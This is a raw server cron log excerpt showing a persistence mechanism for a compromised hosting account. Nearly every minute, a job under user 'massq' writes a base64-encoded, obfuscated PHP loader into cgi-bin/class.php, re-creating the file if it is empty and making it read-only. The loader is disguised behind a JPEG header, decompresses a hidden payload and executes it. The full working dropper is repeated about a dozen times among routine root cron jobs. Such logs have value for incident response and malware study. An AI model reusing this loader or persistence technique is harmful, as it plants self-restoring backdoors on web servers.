Nov 15 17:25:01 server CROND[15586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:26:01 server CROND[15903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:27:01 server CROND[16160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:27:01 server CROND[16161]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:28:01 server CROND[16420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:29:01 server CROND[16677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:30:01 server CROND[17040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:30:01 server CROND[17039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:30:01 server CROND[17041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:30:01 server CROND[17042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:31:01 server CROND[17359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:32:01 server CROND[17624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:33:01 server CROND[17879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:34:01 server CROND[18144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:35:01 server CROND[18501]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 17:35:01 server CROND[18503]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 17:35:01 server CROND[18505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:35:01 server CROND[18504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:35:01 server CROND[18502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:36:01 server CROND[18890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:37:01 server CROND[19152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
